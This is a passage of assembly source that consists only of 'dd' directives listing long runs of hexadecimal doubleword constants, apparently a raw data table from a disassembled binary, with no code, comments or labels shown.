		dd 40F238h, 291F2C80h, 4B000F4Fh, 36E19727h, 4C7ED6h, 5D1073Dh
		dd 0ED6C198Ch, 0C0FA18CFh, 0CA3E5976h, 713D0073h, 0D7B9DF69h
		dd 1E060E88h, 55DA034Eh, 27590038h, 5E95B4BEh, 0A8153D44h
		dd 0BC2CE231h, 0C2174382h, 8694BD49h, 6082F7Ch,	0A660A1D3h
		dd 1EF860F7h, 2779C107h, 82AED20Ah, 8054EB4Dh, 65D53390h
		dd 7D8B0F0Ch, 41199B12h, 0D7B7F4DCh, 0B9CB2800h, 30DF5815h
		dd 0EFCC0FFCh, 0A32716BDh, 801D0E8Fh, 0E410BBC2h, 41009C55h
		dd 45286F31h, 0A4E8156h, 9F99F7D9h, 73094024h, 7807EFC3h
		dd 711341ADh, 967FEC30h, 0C2B0C304h, 88013AD8h,	6A6F97ABh
		dd 0EF8E099h, 70FE30h, 1BD7D76h, 0A4498EACh, 7B9E940Ch
		dd 3961D017h, 10013223h, 4BCB8D31h, 0A79C40FBh,	3B00E055h
		dd 89CD08FEh, 0F4A43A48h, 0BF10306h, 0C5635904h, 0F062F4C1h
		dd 0AB0039C7h, 21B37FF0h, 5FBA87h, 57C4DE52h, 0B2DA4A1Dh
		dd 3CD348h, 53E06045h, 25A3F85h, 9CB4F431h, 2C402644h
		dd 2005FD75h, 0D3F56B48h, 25C6AC00h, 1C2DB0F8h,	0C5CAD7EFh
		dd 80E7A5E5h, 494D3A75h, 84645629h, 0C8D915h, 0F0BFF793h
		dd 0F1C785h, 4499922Ch,	0F6FEEC63h, 0B0FFE4ABh,	0A3ABC13Ah
		dd 0CD7D3C00h, 1F0F4EF3h, 22590121h, 5F045B38h,	338880D5h
		dd 0E7D658ECh, 0D44450B6h, 0B41600B8h, 79F1F9E4h, 9C0045C6h
		dd 0C0CA6EA9h, 57262Fh,	4F75B9AAh, 205D06D0h, 0E6A24600h
		dd 9B1EAEBFh, 0F23F00B0h, 2E735711h, 8F3DAAA7h,	7E3009Ah
		dd 5CD6BCCEh, 5F4B0001h, 0DA67D359h, 6B313715h,	0A7B238B4h
		dd 19ED5082h, 8AC0B04Bh, 0BD7158E1h, 0C4F23C1Eh, 8D995906h
		dd 4EAC1C29h, 6012C0FFh, 0D8C9E30Dh, 94300274h,	7CE12016h
		dd 0B28600F9h, 0A56103D2h, 5B00D4A9h, 6DE3AF60h, 1A5380h
		dd 0BD84CE74h, 0FB036FCBh, 9FBCC303h, 0F3A60886h, 5A62C0A5h
		dd 287D4Eh, 13DA6F50h, 0FE5EEB8Ch, 0A234B14h, 80403AFDh
		dd 9021ADECh, 0E66281h,	0D0DB7404h, 474480FFh, 80791A3Eh
		dd 1B836CD3h, 3431C08h,	80EB9E7Bh, 0F9B877B5h, 6600A389h
		dd 1AD7C275h, 7DDA5Bh, 0D6C70F48h, 0B07CEC3h, 0C4002172h
		dd 6286440Eh, 0E5AC61h,	9AD5689Eh, 8CA15696h, 0B2697E00h
		dd 368F87C8h, 9055001Ch, 988E4335h, 240021CCh, 0EBAFBA2Eh
		dd 305B1BEh, 751AF0A3h,	1014BFD3h, 0FC04B21Dh, 0C6D22C46h
		dd 0A3DA00F1h, 9189F2D7h, 0E7649403h, 0DA8674CEh, 9EB58032h
		dd 48511D20h, 0C8007B66h, 18036957h, 0CD07ADA8h, 37856780h
		dd 0A809D313h, 0F96A25h, 0F17026Fh, 0FDA0B98Ch,	6141F20Fh
		dd 0C632602Eh, 197CA44h, 154963E0h, 0E5988B87h,	0F44AE88Ch
		dd 0A027F100h, 0C081F67Eh, 9FD90067h, 1B3B8E5Ah, 0DB00B89Ah
		dd 3EADC13Ch, 5973161h,	0A7463F67h, 2A9000F2h, 78A834B3h
		dd 702FB624h, 8AAB6D00h, 380FAE6h, 664CEB8h, 36D8C257h
		dd 0E9001381h, 0C114886Fh, 60B18589h, 3170482Bh, 0F9FCF405h
		dd 1BDF7400h, 0F06216CBh, 0B9BD0E80h, 817C6AFDh, 764459D1h
		dd 402020AFh, 8FCDA318h, 42BA0Ah, 5F3F6C5Ch, 0A512BF49h
		dd 4A27EB00h, 0F9F0C3A1h, 76A01E80h, 0A23382E1h, 61E03DF8h
		dd 0EBF66E73h, 72296400h, 401820E3h, 3C1900EEh,	0F501FB22h
		dd 0A90071CFh, 2D0391C6h, 0AE0C7AAh, 13FD780Dh,	664D07F0h
		dd 6F706060h, 1A1C64A3h, 0EAC11968h, 83E99F0h, 9A48ECh
		dd 0CF963FFh, 2AA6651Eh, 0BF893D02h, 8F9D3E54h,	1E686E98h
		dd 0CB2C8B87h, 7983BB71h, 3D848C8h, 0F227A258h,	288977Ah
		dd 0E2079BB1h, 0C2E539DDh, 2C402Ch, 9E41AC25h, 351AD19Dh
		dd 0CC754800h, 53FB0820h, 0EFE706Ah, 5F887BBh, 503F03C0h
		dd 0D81F91E0h, 8900ED78h, 46717B63h, 90DE7933h,	79DC0524h
		dd 0C0A0B307h, 738E3A5Ah, 0C5E72C00h, 46D2AE6Bh, 0C6073EBFh
		dd 0FCBCDA00h, 4166C1AAh, 0D8288C26h, 0B2221400h, 0C0E872F7h
		dd 0E1DF0250h, 3E009E20h, 97546D78h, 0C0A5A713h, 2FCA2CA8h
		dd 74000AA6h, 6A3B91F1h, 290FB1h, 0DBB1546h, 19D18D4Bh
		dd 883DB200h, 53955D81h, 0BE802407h, 913E00B8h,	0F48BA672h
		dd 0CEBB3B18h, 7DEB3158h, 0E9A3A0EDh, 980103A5h, 0A1E437E2h
		dd 217DCF98h, 5E40C165h, 1468D600h, 0E01F1A8Ch,	218F258h
		dd 16369810h, 70487C07h, 1E982834h, 0C69E5801h,	8BCF2A06h
		dd 3C50B0C9h, 1A2F182h,	0BD138EA1h, 8EDE51DAh, 0D2165A18h
		dd 43D66C01h, 73ECB025h, 0DF60E36h, 57202786h, 0E056679Dh
		dd 3D005BE6h, 2D061749h, 450257Bh, 30E909C2h, 0EE888007h
		dd 7700CD3Dh, 0DE897033h, 0F7C512h, 0F0CAA05Fh,	0E096617Ch
		dd 239DA502h, 0C0970F5Eh, 379CA2h, 0DD29F23Eh, 6795A09h
		dd 0D083B700h, 4A8FBF05h, 0BE65005Ch, 0C83734DBh, 0B700390Bh
		dd 7EE2B0C0h, 3F8B4BC7h, 7280B590h, 665B36B1h, 0E1496833h
		dd 609E288Ch, 0C5A8551Ch, 79FA8200h, 6142D1h, 32A0714Fh
		dd 76F1595Ah, 6BFF8B00h, 3ABB95FBh, 0E36D019Ah,	0CD060583h
		dd 218AD054h, 85980976h, 8EBB9106h, 3E607B85h, 2B92CE3Fh
		dd 5F3001F7h, 0C54863E8h, 2410B8E1h, 0B41FB817h, 0EC5EFE00h
		dd 8F902Fh, 0E7E7645h, 0A22AEA9Fh, 8997A303h, 0A99552E3h
		dd 0D441A479h, 3CEC9BCDh, 4A5001Fh, 0E891481Ah,	3D7403B7h
		dd 2E38800h, 6687508Dh,	0CFFF006Dh, 981EB9C2h, 6B3DCEF8h
		dd 647C80F9h, 2851C1D3h, 0FE77002Fh, 29E79F7Fh,	0A800354Bh
		dd 0B9A5FAC0h, 0F6434F74h, 39E254h, 4B77A96Fh, 9AF00C8Ah
		dd 0EB794805h, 0EBC514h, 96C9CF24h, 5700AB3Eh, 0D3BBDF4h
		dd 0EA2F6288h, 9A790054h, 802DDE78h, 36E2553Eh,	13846338h
		dd 6409994Dh, 0B6942313h, 33D0C847h, 0CFE50015h, 567A75E6h
		dd 0CA756671h, 31906100h, 5AAF079Ah, 1C2D0099h,	1F184A60h
		dd 6B3977F1h, 90D6AC4Ch, 76A2900h, 3CFB10DAh, 0DE00F966h
		dd 9A54EE38h, 59F85F45h, 0DA7D8100h, 63981122h,	0BCC02685h
		dd 49B19D60h, 14A03F4Dh, 7A3C3B73h, 0EC4BB50h, 3A464A07h
		dd 9234E9F1h, 0C56AE490h, 8F44001Ah, 4FE2D0BFh,	0F0112F5h
		dd 8272F610h, 0E464ED2Eh, 256907C6h, 90D409A2h,	93DB7959h
		dd 3B406552h, 0EAA911F7h, 8D5F0500h, 687D99D9h,	73699D00h
		dd 9F1D55A0h, 8FF51E56h, 0DAC14038h, 0D0378940h, 5F695300h
		dd 0A778D60Eh, 24A809D3h, 0DC004801h, 61F982F2h, 8C6B111Ch
		dd 0CFBFD40h, 3416346Ch, 801815E5h, 0DCB096D3h,	1F81F700h
		dd 0E8288BAh, 10A7B5Ch,	661A904Eh, 6083D09Eh, 0BE30E214h
		dd 0D7D4E02Eh, 4F7A09h,	0D45A5C5h, 0C35C45Ch, 70BD58h
		dd 0BF030E87h, 1B21BEh,	0A80AF62h, 9A1473EAh, 0A21A8901h
		dd 5BBA072Dh, 96BED8h, 7D0E8B75h, 37948440h, 0C821F200h
		dd 0C480500Fh, 7A509029h, 6D4C1C32h, 7BBC3A8h, 0CE80662h
		dd 0CA004F69h, 0E8017C4Eh, 2EF0D26Ch, 76B5F52h,	6F8B71h
		dd 0D5692A19h, 7424D600h, 0E3CE5EBh, 73940055h,	0A93FFFDDh
		dd 0B4484A23h, 0C9430096h, 9CB12E2Dh, 1A6201EAh, 93C48295h
		dd 0B2FE803Bh, 0B37521A9h, 3AF23A31h, 8746969Ch, 90343B9Ch
		dd 41FC3DB4h, 187CA12Ch, 3CD26842h, 0C75E280Ah,	0CA00A0C8h
		dd 6F351864h, 1C39F8BBh, 0C041FEB3h, 0DAF1851Eh, 870086D2h
		dd 0C9D7CC0h, 13C57697h, 3091D6FCh, 269F2934h, 6470A81Ch
		dd 0B009846Eh
		dd 0A2C4178h, 0F78E8823h, 7DDE9F20h, 0A3000F94h, 1259F078h
		dd 57291Bh, 0BFBA11CAh,	5B95A9DBh, 0E03F410Ch, 58EAF151h
		dd 0F30016ADh, 19C12CF7h, 450033B1h, 0B947AE9h,	5F744Ch
		dd 3B6B4303h, 828B0809h, 98801300h, 9F144081h, 38FC3EA9h
		dd 0C06C5800h, 90510EBFh, 54C9CE07h, 0A1300D2Ch, 4A5A53h
		dd 432FDBABh, 0EB443677h, 14A8461Eh, 5954A1C0h,	174A66h
		dd 0E2958FC8h, 0D9BDC558h, 0BA342500h, 0CBA497E1h, 643B006Fh
		dd 0AF4CFBD4h, 720BB401h, 100AC525h, 0E85B53D4h, 0B77904D7h
		dd 82109456h, 0B460408Ah, 1005289h, 2D95BEFDh, 798E2712h
		dd 0B07C5447h, 100E21B9h, 93842A40h, 79FF800Bh,	0F9CD0D1Fh
		dd 4C40381Dh, 89DF8C23h, 3C140074h, 73427551h, 1C925E59h
		dd 6C58A4E8h, 0DE048114h, 58818D27h, 83246E23h,	409AE555h
		dd 25BB57F8h, 20493800h, 51020D1Ah, 0FA621C21h,	0A2BF506Ah
		dd 244468h, 4DE81708h, 8F8E07C7h, 6BD3300h, 0EAA418AEh
		dd 1D289A74h, 40DD34B8h, 0D465F673h, 4A0005D5h,	97510C41h
		dd 0A33529h, 0AC75861Dh, 431E671Fh, 6F55DDF1h, 9C17C780h
		dd 0EFAD1E02h, 0C430803Fh, 955B9A07h, 0EA0F3Ah,	2E1053F5h
		dd 724061A1h, 0A9963AE8h, 0D6426707h, 0C0A07A77h, 0C1B3B4ABh
		dd 4F496909h, 0FF48605Dh, 624C0012h, 9CD0D775h,	0F9CFBE3Eh
		dd 4BA7E073h, 1905AB5h,	42C2979Fh, 47CA685Fh, 28A0DBE4h
		dd 111FDFB1h, 5E5DC1F2h, 0FB911FA4h, 400E2789h,	159BB8B8h
		dd 0CCCCFAEEh, 8F783201h, 0E14437EDh, 0DFC8D788h, 0E0193D1h
		dd 8E2509BAh, 0C289B29h, 0BF9D069Eh, 50070A3h, 0A05E98F4h
		dd 95191DBh, 0D1C967D7h, 0A5092380h, 8105B171h,	1C0693D5h
		dd 32E11C90h, 9F8601B2h, 5D3510C3h, 2A4FC033h, 61A43F35h
		dd 13288C8Ah, 7C30B0FCh, 808800D1h, 572BC896h, 0FB008EACh
		dd 0A730650Fh, 46CE4Dh,	6822695Ch, 0D14D225h, 0F3AAAB00h
		dd 82E3D1E2h, 62273A41h, 61F47B8Fh, 10766767h, 0C88D883Dh
		dd 0AE00DF74h, 0DCE01D4Fh, 0E2D8983h, 26BE9593h, 7FE03A8Fh
		dd 4CBA65Dh, 3B005771h,	0FAB3AD7Bh, 7F77FB32h, 0EE71036Eh
		dd 8F1CA696h, 9942D980h, 7CE46100h, 0E5C743E8h,	0FB010E0Eh
		dd 0D4616D88h, 0D8450428h, 2E0FB0A7h, 0E0C5421Eh, 960801F4h
		dd 5ED00069h, 0BDCBD4ADh, 64E21BB8h, 5C54A703h,	0B8A6A367h
		dd 246DCD05h, 0BD040436h, 98720FF8h, 0A7C9195Fh, 1730880h
		dd 5C3EAB59h, 0FEB287C7h, 7580A6DFh, 0C8BCA8h, 65BBAD94h
		dd 61884269h, 0B013D6E8h, 77075B9Dh, 39F68CC6h,	47840161h
		dd 0D9383E50h, 0D008CDF3h, 654CC917h, 11C01828h, 88784710h
		dd 0D8180F69h, 9C2A49ADh, 94A4000Bh, 3E9B8BA3h,	0DB001BDCh
		dd 0FBEEB486h, 1ED8FA8Ah, 0C8C56Bh, 0F28C2C4Ah,	0A016D3FFh
		dd 0E801F4D4h, 315EB3A6h, 0C06B8093h, 0A5018024h, 944BCF0Ch
		dd 6EA93Eh, 0C7A41FAh, 9A7C89BBh, 251B990Ch, 0BC2111h
		dd 0A69F8A43h, 3866292Ch, 90EE19C2h, 77985810h,	179700E5h
		dd 0D67C7196h, 0EF000A02h, 6A6495C1h, 809FB6h, 8C4D6674h
		dd 37F92798h, 53EA3807h, 1CE0CD26h, 8451F8h, 7C053068h
		dd 7A67F219h, 2709C6F8h, 572907A7h, 5F629280h, 600790EBh
		dd 0F312CE7Fh, 8807A2C1h, 9BF4E4h, 94817628h, 62AB6B14h
		dd 0A1A0C860h, 4D1ABFh,	0A9C443CFh, 67C6B1EBh, 0EF81E81Ch
		dd 28D730FCh, 7BED48B2h, 473806BAh, 19B8AAB6h, 0BC76F200h
		dd 950ACAADh, 0FF4D0102h, 743EDB9Dh, 2F38841Bh,	39C19187h
		dd 8C50845Dh, 0E2F1F0F8h, 0CC791C0Dh, 9D915F63h, 2C3580FDh
		dd 0D65513B4h, 3DB26C00h, 0CEAAB552h, 6D70C010h, 801A99DAh
		dd 0E8F22C00h, 5DE47D12h, 26720102h, 86CFFDC5h,	0BAB1FC1Eh
		dd 0AF16F501h, 231C3F68h, 8A1BD050h, 5E870758h,	619721CEh
		dd 0C573E7ECh, 10C2FC5Ah, 0E051E23Ah, 8AFD6FA9h, 69C9005Fh
		dd 0FA37E408h, 0CF00E1D9h, 1CCA3197h, 44D7A8h, 32B6A7F9h
		dd 37E325A4h, 22B7AB00h, 0E196274Ah, 3AE5002Bh,	83BCBD39h
		dd 0D2120DF8h, 0A0806046h, 0B39C3Fh, 5B85048Dh,	28A854B5h
		dd 1C7D8C00h, 654074BAh, 0A5AE0053h, 8EC4A94h, 951D87D1h
		dd 440CD6D9h, 742036h, 29419002h, 525807C9h, 9F9AD100h
		dd 0CE5D5C7Bh, 0D0A004Fh, 653F7078h, 0BD00B7F3h, 0F252FD7Ch
		dd 74BAEFB1h, 0AA008439h, 0CB485340h, 0FAB2768h, 7A923DE7h
		dd 458B0240h, 4C00152Eh, 0E63AD429h, 0E7F2C1h, 5F53B5Ch
		dd 4E53BCF0h, 756BA916h, 1057200Ch, 2E3400DFh, 1F6D73A5h
		dd 103A177Bh, 213E302Bh, 233F11h, 0EFC1A045h, 35F28515h
		dd 0F659BA06h, 6EC87EB7h, 4EAAA194h, 11105468h,	518E4017h
		dd 0A1DC78E0h, 8E00094Ah, 1D93E3CEh, 161BAC11h,	88912Bh
		dd 6E459AEFh, 3308792h,	5E7A7861h, 9432068Bh, 0E8389CFAh
		dd 3B87970Dh, 0B1C0200Ah, 8950003Ch, 0AF732676h, 0AE017C99h
		dd 323FE2D3h, 3C70EA8Dh, 0A59C004Dh, 859C803h, 5103EC11h
		dd 0A42ECE13h, 0FBE690EEh, 0F43C0FAAh, 0B4A0EFE2h, 0AFBF9B18h
		dd 0D61B5102h, 6027A0A3h, 70FA515h, 3389C087h, 0CE5AE0CDh
		dd 0DC00A19Bh, 0EE9701B1h, 4BA8A46Bh, 34C0FBB6h, 0EF53074h
		dd 0D498F96Eh, 48E8B320h, 1F00A850h, 0A4BFAB2Dh, 43CF2h
		dd 0BD327EDFh, 0A5D0976Ch, 0AB011FECh, 7B031B31h, 30811C15h
		dd 2F733717h, 0B1C5D091h, 0E8276B03h, 2C22A34Eh, 0CB1D20h
		dd 48E4C8D0h, 9300890Eh, 62F97F52h, 31261E7h, 321A55B5h
		dd 9860E1ABh, 3DB9B789h, 57C73AAAh, 89BF1060h, 0B2014478h
		dd 2D9C9893h, 10D09665h, 3A20C047h, 0AA9777A7h,	68641F00h
		dd 6FDBEE01h, 1346039Eh, 2E366C9Bh, 4D00617Eh, 0F5D13D52h
		dd 27ECBEh, 2F6E065Ch, 5BFE1817h, 4847D000h, 0D4C2CC29h
		dd 0A2A9CE6Ch, 9183A028h, 0E8FCDFECh, 30F32DFBh, 80203D7Bh
		dd 62F0516Ch, 0A47822Ch, 7DD91900h, 520D1h, 2FAB8EE8h
		dd 5CD034C6h, 0C492AE03h, 0C008B73Dh, 7A6FDFh, 0F599FFD1h
		dd 9E73F062h, 43981F00h, 9BCC477Bh, 88AD1C4Ah, 62E2804Ch
		dd 25ABE4B9h, 58FA0B3Dh, 223A0FDAh, 9EE36745h, 0FD42CEE0h
		dd 470C3CEDh, 0C0F6549Dh, 173EC4F5h, 32007658h,	90D4C011h
		dd 0C601FFh, 538681Eh, 0B0674615h, 807B413Ch, 82886F3Eh
		dd 1409B501h, 909A1F39h, 0C2437103h, 55C1157Eh,	1293E021h
		dd 69E46200h, 0A133269Eh, 3D0C0718h, 0C059C938h, 318EA465h
		dd 0CA30F90Bh, 3CD0982h, 0A5F57Ch, 48C9818h, 0EACF4407h
		dd 83707CE8h, 7E29B925h, 0DC430CA0h, 0E500D428h, 3287DDDFh
		dd 777C0A82h, 79EAB036h, 110F60B2h, 0B4D81068h,	0F26FBA03h
		dd 706ABE6Eh, 312A0008h, 0D88815DDh, 900795B7h,	2601F103h
		dd 44519A60h, 0C715E01Fh, 4CE7D3B8h, 270C0830h,	600B165Fh
		dd 7053E32h, 0F7331100h, 0AB79B47Fh, 4DF9A408h,	43E31E29h
		dd 159B1C36h, 0B056D6B0h, 0C45F5207h, 47E05DFFh, 79450F4h
		dd 4BA6519h, 3A030BDBh,	2E869027h, 0F495EA03h, 0A1363344h
		dd 528070FFh, 0AF1105B9h, 0B44CD01Ch, 0F9A307F6h, 1BF0E5A1h
		dd 582F5BE6h, 0B90083D2h, 3AA97D3Ch, 6D007414h,	70EC46FFh
		dd 1F441AC1h, 80DD5A93h, 2FAD76BAh, 0D400097Eh,	34C8537h
		dd 78C8D751h, 70570772h, 80D5915Dh, 6B542A58h, 0A7827F1Fh
		dd 24921D80h, 123EA8h, 0C4D7AF5Dh, 81C9571Fh, 77FE043Fh
		dd 0A8A22F00h, 0C3DD85E9h
		dd 0E84B07A6h, 608606F8h, 0E566CA22h, 801D463Eh, 0BA1802BBh
		dd 8F3624h, 0B41B8A44h,	0CA37108Eh, 94627C00h, 648BE6E2h
		dd 0DA140EF1h, 0C4EE1FB6h, 0E39F5898h, 1E9C61Fh, 77F68340h
		dd 3EC996Fh, 3258EE50h,	4BC054B2h, 0F900D2A4h, 0A98CF122h
		dd 51E033h, 0B35EF70Fh,	0FF23E68Ah, 0AEF6B900h,	6A5104Eh
		dd 223B0713h, 0A03CECF7h, 9DB96C62h, 78B10330h,	3394979h
		dd 35AE2816h, 0A9014A6Fh, 0A548F32Bh, 0E5EC5896h, 0A4620C0Bh
		dd 0BD58ADCFh, 0EEE3FA00h, 6DE9DAD5h, 5EF40063h, 98954F4Bh
		dd 0BF01D7C9h, 0D96364Eh, 0B880A9BEh, 0D005ADB1h, 0DF0142C4h
		dd 8E75B503h, 0E80BDEDh, 9914AC28h, 5100436Eh, 0D7A99F39h
		dd 0E8E69106h, 9EB500B6h, 2CE3ADA8h, 0C80FE149h, 0E082FE38h
		dd 9737BEFDh, 3062001Eh, 292B81CEh, 0EC014BBBh,	0D92C8963h
		dd 0B430D719h, 60C5741Eh, 3B672118h, 200EEC7Bh,	3F8EB310h
		dd 39848Fh, 6C158B40h, 745EB834h, 8F30C7F9h, 0F6C5A076h
		dd 36E0E131h, 0A978CD60h, 7C342344h, 794603E0h,	22762952h
		dd 6ABB0800h, 0DF6EDA8Eh, 0E66905ACh, 80131996h, 3BA7C48h
		dd 4B290560h, 48ABDC4Ch, 0EB003C74h, 179E9577h,	2200523Ah
		dd 971601FAh, 606866C8h, 0D4883031h, 0EB3AB406h, 0AECF00A0h
		dd 0A8CBF029h, 0D0BF0EF9h, 0C2FFAC98h, 2850B4DCh, 0D854DE60h
		dd 0ADC5400Bh, 1B82801Eh, 0EEFD7h, 0DD13A45Bh, 0C4FBEA49h
		dd 29908B60h, 0DCDEF1h,	0D884A020h, 774F5DFDh, 0B10F3176h
		dd 6764EA65h, 21F0E0F3h, 1D664Ah, 91CD125Ah, 1A0AEFF4h
		dd 0A756820Fh, 290DA047h, 0FB7F42h, 79E1DB9Ah, 14E7B0EBh
		dd 0E4CCAD00h, 0D94622F7h, 6F200041h, 38D67C3h,	0C8008744h
		dd 0ADBC3CDEh, 7C9A429h, 2D48D514h, 7E70A05Dh, 9500D80Eh
		dd 81EF786Bh, 70A504E4h, 7F83047Ch, 80389BA9h, 549A0AB8h
		dd 60647200h, 0A656E176h, 71D900F6h, 0A497E226h, 5C00A1EDh
		dd 74D6D3FFh, 0FA6B6Ah,	48091949h, 0B655E6BAh, 5BAE9200h
		dd 0EF4664F2h, 79D03A9Bh, 2FA11280h, 0DBDC7CC5h, 9DBA9000h
		dd 27D55217h, 5928004Fh, 0C48EC99Ch, 4500761Ch,	0E510A7C7h
		dd 2FA6BAh, 48B7F324h, 79BB6067h, 0D6079D2Eh, 0E7178600h
		dd 6B4D1Fh, 50157CF0h, 69B4EBC5h, 0C077E278h, 6CF1DA00h
		dd 4D1A3561h, 0F3C70173h, 0D5EB14CEh, 56D89C25h, 70347100h
		dd 607CCD65h, 5CC919A6h, 0B901BE8Ch, 1514A036h,	0B6FCBD2Bh
		dd 1B1800BCh, 9778A23Fh, 0F700B174h, 1C71AB4h, 0E643FBC8h
		dd 54D81ECEh, 0FE08004Eh, 10B786F8h, 9ADDC22Eh,	34930B3Dh
		dd 2CD70090h, 2622CDF2h, 0F0C2461h, 258039FBh, 8CF53CE8h
		dd 74065300h, 0EF081498h, 6B078h, 15A3F613h, 9237B0EAh
		dd 95ADB407h, 0C0EEBFC6h, 0BE1FF53Dh, 0AF710Ch,	40A75450h
		dd 0AE02D81Ah, 3C4DB400h, 0D7B98DADh, 1CD00A8h,	0C34A86AFh
		dd 97002FC6h, 0A631961Ch, 1B5F692h, 34DA07B9h, 714EAC0Eh
		dd 0D4F66099h, 166CA800h, 8F867F79h, 3D490039h,	26B42DC2h
		dd 0AE00EF83h, 78845077h, 13D21E8Dh, 7E7D529h, 4E2E54D7h
		dd 0E6436AC0h, 0BB001ABAh, 0B2771F98h, 3D267Dh,	799586ACh
		dd 0E6FF53E3h, 8F9A730Bh, 36A180A9h, 7F5D8B6h, 1D155EB8h
		dd 0FC37D561h, 0DDCA032Bh, 0C0760535h, 329D0F41h, 0C8199B30h
		dd 10C4049Dh, 0E7CBE383h, 6FF23F40h, 4F95001Bh,	50D2D15Ah
		dd 617F6751h, 47AB0600h, 0DE250A0Eh, 2B29C2EDh,	0E00FD274h
		dd 6049FCEh, 5C108447h,	27216E12h, 9EF4F504h, 9ADAD300h
		dd 0FC102507h, 63082D4Eh, 6908CFB8h, 284F940Fh,	2ABBB608h
		dd 0C8531F04h, 44EB4304h, 6342C55Bh, 0BB033C11h, 0BE291945h
		dd 40B7A1D4h, 3E832E14h, 0C4A7F780h, 5F5E36A1h,	4C520CA1h
		dd 8E627351h, 24F0E7A1h, 104C21BFh, 51EF299Ah, 0B75E658Bh
		dd 32162100h, 0B04E43F6h, 49CE0041h, 0AA99767Ch, 81001E47h
		dd 5D30230Fh, 357841h, 7B6A942Bh, 0BCE80246h, 8700D2E2h
		dd 528F1948h, 5A37Ch, 6EBE5856h, 0E8C43CEAh, 67D0B700h
		dd 555B84DAh, 734F3D09h, 6681D280h, 7FBD2DCCh, 0F1E9F300h
		dd 0A8AB93C3h, 4710C07Ch, 27A46AC8h, 89BEA93Eh,	62BAC0h
		dd 0B5293710h, 2C960595h, 0C00AF16Fh, 7807A934h, 69CD4B00h
		dd 836D180Dh, 0F40E0063h, 0EA92365Ah, 0C200E3C7h, 0E4F00A40h
		dd 16A82DCAh, 0E515872h, 17A32C07h, 8A8002F7h, 533ACB87h
		dd 262B80AAh, 36ABB910h, 0CE40048h, 4DDA3A85h, 391DD112h
		dd 49895204h, 0BD6020FDh, 0F7A7B0h, 6DE785C1h, 0BAC7FC4Bh
		dd 0E8B77A01h, 6882EFF6h, 1BA0CE80h, 6C0D93E2h,	2B7E6700h
		dd 0B3A48B3Ah, 1A3600C3h, 535745CCh, 5830C43Fh,	0BFD9D05Fh
		dd 52BC002Ch, 0B5D38774h, 8000C46h, 47F4C90Ah, 7B3956FFh
		dd 0F2430014h, 9D73885Bh, 83F6B9DBh, 9368F900h,	7FAB180h
		dd 0E9FC00DDh, 0DCBAB6E6h, 6100CE2Fh, 172ACDD5h, 0F86863h
		dd 0E43C70DFh, 0DD9462BEh, 493D8307h, 0A531318Bh, 30B80CB1h
		dd 0BFF60280h, 0B4A09C3Fh, 3C6B1707h, 86A09528h, 54FAE1h
		dd 0AB2B5997h, 2F7A5C33h, 9F3D3E00h, 33B0BAEh, 0E15E0A3Ch
		dd 0A0088Ah, 0F706F50Ah, 0B006381h, 73A11E2Ah, 13DC0C5Ah
		dd 42D7A5h, 76E1205Fh, 7A00E5B0h, 7F758293h, 0C4CA23h
		dd 1F325926h, 92E3493Bh, 0BE2B4700h, 0C589B156h, 8D350728h
		dd 10FFB6CEh, 76A61E9Ah, 0B9424Dh, 634E3E43h, 0E8CD215Ch
		dd 0E2410074h, 0D9BE4DFAh, 0CC01ABC4h, 84A59051h, 1080D199h
		dd 0C6FE411Fh, 4A0002BCh, 0E97BD59Ah, 0C0E09Fh,	1C296424h
		dd 5912211Fh, 82807201h, 17E5FC62h, 92A102FCh, 11DA001Ch
		dd 82AA54EEh, 5998101Ch, 0BDB38F05h, 648080A3h,	4437F0h
		dd 1C8A1DC5h, 2394D1F3h, 220071E8h, 0D388CC3h, 0B8593E3Fh
		dd 532000A6h, 7CE51E58h, 0E1014063h, 3EE04FDAh,	90E87D83h
		dd 0B76D000Ah, 4A6EFC7Ah, 2B3071F2h, 5B930C98h,	0E3EF0003h
		dd 5DE1FB55h, 4203B0D3h, 0C1D5FF26h, 661BE17Bh,	0B4F5F0E7h
		dd 369D005Eh, 0B1677DA4h, 4B3FAF33h, 2B2F805Dh,	579E3893h
		dd 0DD740170h, 0B06EBA60h, 194BD0A6h, 0C80BF600h, 4E689781h
		dd 38E70189h, 0D854912Ah, 0BFA3704Ah, 1E7C5739h, 0E4C08C42h
		dd 0A14B8086h, 0BAC10027h, 64AAC2FAh, 0A601D508h, 2838AE84h
		dd 0B8FF0922h, 356A7Eh,	6814A50Dh, 0BB4599B5h, 8B4C4D01h
		dd 2FE9D71Ah, 52A6BD40h, 0E38A0032h, 7791E4BCh,	5A00861Eh
		dd 895F2F38h, 158CFD8h,	1B6A04F1h, 0D75C446Dh, 0E8E693B7h
		dd 8DBB9180h, 26F4800h,	7E1632ACh, 0D89438F2h, 0E6376000h
		dd 1CE4BF4Eh, 7C0994Ch,	0ADC9A06Eh, 0AB2E30C0h,	0F1B53F76h
		dd 4CA691Fh, 0C08ED10Ch, 7FEF3EEFh, 35EE400h, 4FF1AAC6h
		dd 0B0090050h, 0CF374C07h, 5400B5EFh, 365CFBD7h, 9E570Dh
		dd 538B8202h, 132F7244h, 8D471700h, 0A197B83Ah,	0CA71001Eh
		dd 60CF204Ah, 0D2008490h, 0A62348C0h, 0B55285h,	0B70B8FE4h
		dd 0D3DA12BCh, 0B0361E00h, 9B87830Ah, 31C800D1h, 2EF7EF16h
		dd 4D047540h, 0DFF07C48h, 0BB5DE080h, 586600EDh, 30330543h
		dd 280FA9C8h, 20CC5B6Eh, 0EF2BCFF7h, 21D101C3h,	0B0068548h
		dd 46A5E81Eh, 0C69D1F1Ch, 5F365700h, 182C65h, 566FE7A2h
		dd 741C4651h, 0DB0F8300h, 8C6C04B2h, 1FDD00E2h,	9A700B58h
		dd 0B803FF82h, 0CF2AC1E7h, 6032F83Ch, 1A641CB0h, 4E52C08Bh
		dd 0CDE044E8h, 1CF2DC04h
		dd 5488217Ch, 0D1130C1Ah, 3D806DD6h, 0FD3CA712h, 56589C00h
		dd 29D0CFh, 0A2DC90CEh,	0E89A199Dh, 1EA0CD3Fh, 0CA0051AFh
		dd 7BEA4C6Bh, 0ECCE48A1h, 1EF8A83Eh, 8075D7C9h,	0D121440Bh
		dd 0D9000D46h, 1D9C848Dh, 0C2A58Bh, 0AD0BC4B2h,	3213857Fh
		dd 4B3C06B0h, 870E80EBh, 0E16F6E77h, 0CB5F3F74h, 12095E80h
		dd 0D7CCA04h, 0DD0F9209h, 0B2650025h, 46F581h, 4E21D0A1h
		dd 7BC73850h, 39402300h, 0DD9A51ADh, 0C6B900F0h, 71CB5B89h
		dd 3207996Ch, 8DB8953Ch, 0B835E673h, 7B7B9CEh, 7194799Ah
